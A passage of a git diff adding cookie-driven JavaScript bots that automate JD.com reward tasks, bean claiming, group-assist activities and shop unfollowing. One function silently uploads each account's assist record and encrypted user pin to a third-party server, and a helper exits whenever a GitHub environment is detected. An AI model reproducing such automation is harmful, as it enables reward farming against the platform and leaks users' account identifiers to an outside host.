$.taskData) { + console.log(`\n领取 ${item['title']} 任务`) + await vviptask_receive_getone(item['id']); + await $.wait(1000); + console.log(`去完成 ${item['title']} 任务`) + await vviptask_reach_task(item['id']); + console.log(`领取 ${item['title']} 任务奖励\n`) + await vviptask_reward_receive(item['id']); + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//领取任务 +function vviptask_receive_getone(ids) { + const body = {"channel":"SWAT_RED_PACKET","systemId":"19",ids} + const options = { + url: `${JD_API_HOST}?functionId=vviptask_receive_getone&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + return new Promise((resolve) => { + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//做任务 +function vviptask_reach_task(taskIdEncrypted) { + const body = {"channel":"SWAT_RED_PACKET","systemId":"19",taskIdEncrypted} + const options = { + url: `${JD_API_HOST}?functionId=vviptask_reach_task&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(`做任务任务:${data}`) + // if (safeGet(data)) { + // data = JSON.parse(data); + // if (data['success']) { + // $.taskData = data['data']; + // for (let item of $.taskData) { + // + // } + // } + // } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//领取做完任务后的奖励 +function vviptask_reward_receive(idEncKey) { + const body = {"channel":"SWAT_RED_PACKET","systemId":"19",idEncKey} + const options = { + url: `${JD_API_HOST}?functionId=vviptask_reward_receive&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(`做任务任务:${data}`) + // if (safeGet(data)) { + // data = JSON.parse(data); + // if (data['success']) { + // $.taskData = data['data']; + // for (let item of $.taskData) { + // + // } + // } + // } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//领取200京豆 +function pg_interact_interface_invoke(floorToken) { + const body = {floorToken, "dataSourceCode": "takeReward", "argMap": {}} + const options = { + url: `${JD_API_HOST}?functionId=pg_interact_interface_invoke&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + console.log(`【做任务 天天领京豆】${data['data']['rewardBeanAmount']}京豆领取成功`); + $.rewardBeanNum += data['data']['rewardBeanAmount']; + message += `${message ? '\n' : ''}【做任务 天天领京豆】${$.rewardBeanNum}京豆`; + } else { + console.log(`【做任务 天天领京豆】${data.message}`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function openRedPacket(floorToken) { + const body = {floorToken, "dataSourceCode": "openRedPacket", "argMap": {}} + const options = { + url: `${JD_API_HOST}?functionId=pg_interact_interface_invoke&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } + return new Promise((resolve) => { + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + console.log(`活动开启成功,初始:${data.data && data.data['activityBeanInitAmount']}京豆`) + $.vvipFlag = true; + } else { + console.log(data.message) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//================赚京豆-加速领京豆===========END======== +//================赚京豆开团=========== +async function distributeBeanActivity() { + try { + $.tuan = '' + $.hasOpen = false; + $.assistStatus = 0; + await getUserTuanInfo() + if (!$.tuan && ($.assistStatus === 3 || $.assistStatus === 2 || $.assistStatus === 0) && $.canStartNewAssist) { + console.log(`准备再次开团`) + await openTuan() + if ($.hasOpen) await getUserTuanInfo() + } + if ($.tuan && $.tuan.hasOwnProperty('assistedPinEncrypted') && $.assistStatus !== 3) { + $.tuanList.push($.tuan); + const code = Object.assign($.tuan, {"time": Date.now()}); + $.http.post({ + url: `http://go.chiang.fun/autocommit`, + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ "act": "zuan", code }), + timeout: 30000 + }).then((resp) => { + if (resp.statusCode === 200) { + try { + let { body } = resp; + body = JSON.parse(body); + if (body['code'] === 200) { + console.log(`\n【京东账号${$.index}(${$.nickName || $.UserName})的【赚京豆-瓜分京豆】好友互助码提交成功\n`) + } else { + console.log(`【赚京豆-瓜分京豆】邀请码提交失败:${JSON.stringify(body)}\n`) + } + } catch (e) { + console.log(`【赚京豆-瓜分京豆】邀请码提交异常:${e}`) + } + } + }).catch((e) => console.log(`【赚京豆-瓜分京豆】邀请码提交异常:${e}`)); + } + } catch (e) { + $.logErr(e); + } +} +function helpFriendTuan(body) { + return new Promise(resolve => { + const data = { + "activityIdEncrypted": body['activityIdEncrypted'], + "assistStartRecordId": body['assistStartRecordId'], + "channel": body['channel'], + } + delete body['time']; + $.get(taskTuanUrl("vvipclub_distributeBean_assist", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.success) { + console.log('助力结果:助力成功\n') + } else { + if (data.resultCode === '9200008') console.log('助力结果:不能助力自己\n') + else if (data.resultCode === '9200011') console.log('助力结果:已经助力过\n') + else if (data.resultCode === '2400205') console.log('助力结果:团已满\n') + else if (data.resultCode === '2400203') {console.log('助力结果:助力次数已耗尽\n');$.canHelp = false} + else if (data.resultCode === '9000000') {console.log('助力结果:活动火爆,跳出\n');$.canHelp = false} + else console.log(`助力结果:未知错误\n${JSON.stringify(data)}\n\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getUserTuanInfo() { + let body = {"paramData": {"channel": "FISSION_BEAN"}} + return new Promise(resolve => { + $.get(taskTuanUrl("distributeBeanActivityInfo", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + $.log(`\n\n当前【赚京豆(微信小程序)-瓜分京豆】能否再次开团: ${data.data.canStartNewAssist ? '可以' : '否'}`) + console.log(`assistStatus ${data.data.assistStatus}`) + if (data.data.assistStatus === 1 && !data.data.canStartNewAssist) { + console.log(`已开团(未达上限),但团成员人未满\n\n`) + } else if (data.data.assistStatus === 3 && data.data.canStartNewAssist) { + console.log(`已开团(未达上限),团成员人已满\n\n`) + } else if (data.data.assistStatus === 3 && !data.data.canStartNewAssist) { + console.log(`今日开团已达上限,且当前团成员人已满\n\n`) + } + if (data.data && !data.data.canStartNewAssist) { + $.tuan = { + "activityIdEncrypted": data.data.id, + "assistStartRecordId": data.data.assistStartRecordId, + "assistedPinEncrypted": data.data.encPin, + "channel": "FISSION_BEAN" + } + } + $.tuanActId = data.data.id; + $.assistNum = data['data']['assistNum'] || 4; + $.assistStatus = data['data']['assistStatus']; + $.canStartNewAssist = data['data']['canStartNewAssist']; + } else { + $.tuan = true;//活动火爆 + console.log(`赚京豆(微信小程序)-瓜分京豆】获取【活动信息失败 ${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function openTuan() { + let body = {"activityIdEncrypted": $.tuanActId, "channel": "FISSION_BEAN"} + return new Promise(resolve => { + $.get(taskTuanUrl("vvipclub_distributeBean_startAssist", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['success']) { + console.log(`【赚京豆(微信小程序)-瓜分京豆】开团成功`) + $.hasOpen = true + } else { + console.log(`\n开团失败:${JSON.stringify(data)}\n`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getAuthorShareCode(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${Date.now()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + $.authorTuanList = $.authorTuanList.concat(JSON.parse(data)) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function getRandomCode() { + await $.http.get({url: `http://go.chiang.fun/read/zuan/${randomCount}`, timeout: 10000}).then(async (resp) => { + if (resp.statusCode === 200) { + try { + let { body } = resp; + body = JSON.parse(body); + if (body && body['code'] === 200) { + console.log(`随机取【赚京豆-瓜分京豆】${randomCount}个邀请码成功\n`); + $.body = body['data']; + $.body1 = []; + $.body.map(item => { + $.body1.push(JSON.parse(item)); + }) + } + } catch (e) { + console.log(`随机取【赚京豆-瓜分京豆】${randomCount}个邀请码异常:${e}`); + } + } + }).catch((e) => console.log(`随机取【赚京豆-瓜分京豆】${randomCount}个邀请码异常:${e}`)); +} +//======================赚京豆开团===========END===== +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&osVersion=5.0.0&clientVersion=3.1.3&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function taskTuanUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=swat_miniprogram&osVersion=5.0.0&clientVersion=3.1.3&fromType=wxapp×tamp=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://servicewechat.com/wxa5bf5ee667d91626/108/page-frame.html", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_unsubscribe.js b/jd_unsubscribe.js new file mode 100644 index 0000000..8b2f097 --- /dev/null +++ b/jd_unsubscribe.js @@ -0,0 +1,380 @@ +/* +脚本:取关京东店铺和商品 +更新时间:2021-05-08 +因种豆得豆和宠汪汪以及NobyDa大佬的京东签到脚本会关注店铺和商品,故此脚本用来取消已关注的店铺和商品 +默认:每运行一次脚本全部已关注的店铺与商品 +建议此脚本运行时间在 种豆得豆和宠汪汪脚本运行之后 再执行 +现有功能: 1、取关商品。2、取关店铺。3、匹配到boxjs输入的过滤关键词后,不再进行此商品/店铺后面(包含输入的关键词商品/店铺)的取关 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js, 小火箭 +==============Quantumult X=========== +[task_local] +#取关京东店铺商品 +55 23 * * * jd_unsubscribe.js, tag=取关京东店铺商品, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +===========Loon============ +[Script] +cron "55 23 * * *" script-path=jd_unsubscribe.js,tag=取关京东店铺商品 +============Surge============= +取关京东店铺商品 = type=cron,cronexp="55 23 * * *",wake-system=1,timeout=3600,script-path=jd_unsubscribe.js +===========小火箭======== +取关京东店铺商品 = type=cron,script-path=jd_unsubscribe.js, cronexpr="55 23 * * *", timeout=3600, enable=true + */ +const $ = new Env('取关京东店铺和商品'); +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; + +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const jdNotify = $.getdata('jdUnsubscribeNotify');//是否关闭通知,false打开通知推送,true关闭通知推送 +let goodPageSize = $.getdata('jdUnsubscribePageSize') || 20;// 运行一次取消多全部已关注的商品。数字0表示不取关任何商品 +let shopPageSize = $.getdata('jdUnsubscribeShopPageSize') || 20;// 运行一次取消全部已关注的店铺。数字0表示不取关任何店铺 +let stopGoods = $.getdata('jdUnsubscribeStopGoods') || '';//遇到此商品不再进行取关,此处内容需去商品详情页(自营处)长按拷贝商品信息 +let stopShop = $.getdata('jdUnsubscribeStopShop') || '';//遇到此店铺不再进行取关,此处内容请尽量从头开始输入店铺名称 +const JD_API_HOST = 'https://wq.jd.com/fav'; +!(async () => { + if (!cookiesArr[0]) { + $.msg('【京东账号一】取关京东店铺商品失败', '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n****开始【京东账号${$.index}】${$.nickName || $.UserName}*****\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, 